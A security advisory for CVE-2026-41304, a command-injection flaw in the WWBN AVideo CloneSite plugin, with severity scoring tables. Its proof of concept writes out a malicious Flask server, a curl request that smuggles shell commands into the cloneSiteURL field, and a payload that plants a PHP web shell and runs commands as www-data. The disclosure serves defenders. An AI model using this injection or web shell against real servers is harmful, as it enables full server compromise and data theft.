Advisory details:
github_osv / GHSA-xr6f-h4x7-r6qp
| Advisory ID | github_osv/GHSA-xr6f-h4x7-r6qp |
| Aliases |
CVE-2026-41304
|
| Summary | WWBN AVideo: RCE cause by clonesite plugin Description ## Summary The `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to **Remote Code Execution (RCE)** on the server. ## Details Inside `plugin/CloneSite/cloneClient.json.php`(line112) didn't have proper sanitization ```php $objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL)); ``` use `str_replace ` make `'` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce ```php $sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116 $cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117 exec($cmd . " 2>&1", $output, $return_val); \\119 ``` The attack flow 1. make a evil site to provide date 2. add evil url in `objects/pluginAddDataObject.json.php` 3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce ## Poc make a evil site use python like this ```python from flask import Flask, jsonify, request app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def catch_all(path): print("PATH:", path) return jsonify({ "error": False, "msg": "", "url": "http://target-site.com/", "key": "target_clone_key", "useRsync": 0, "videosDir": "/var/www/html/AVideo/videos/", "sqlFile": "Clone_mysqlDump_evil123.sql", "videoFiles": [], "photoFiles": [] }) if __name__ == '__main__': app.run(host='0.0.0.0', port=8071) ``` change url with payload like (need admin) ```shell curl -b 'PHPSESSID=<admin_session>' -X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \ -H "Content-Type: application/json" \ -d '{ "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/", "cloneSiteSSHIP":"127.0.0.1", "cloneSiteSSHUser":"1", "cloneSiteSSHPort":"22", "cloneSiteSSHPassword":{ "type":"encrypted", "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg==" }, "useRsync":true, "MaintenanceMode":false, "myKey":"ba882541262f3202ee5a5ad790ae5b70" }' #inject evil code curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php curl "http://127.0.0.1/plugin/CloneSite/1.php" -d '1=id' #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` this payload is to create a web shell then access `plugin/CloneSite/cloneClient.json.php` `1.php`will be created ## impact - **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. - **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. ## Recommended Fix add more powerful sanitization for `$objClone->cloneSiteURL` |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.8 |
| Risk | 4.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-xr6f-h4x7-r6qp/GHSA-xr6f-h4x7-r6qp.json |
| cvssv4 | 8.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-xr6f-h4x7-r6qp/GHSA-xr6f-h4x7-r6qp.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-22T18:34:59Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/41xxx/CVE-2026-41304.json
Source Advisory: vulnrichment/CVE-2026-41304
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]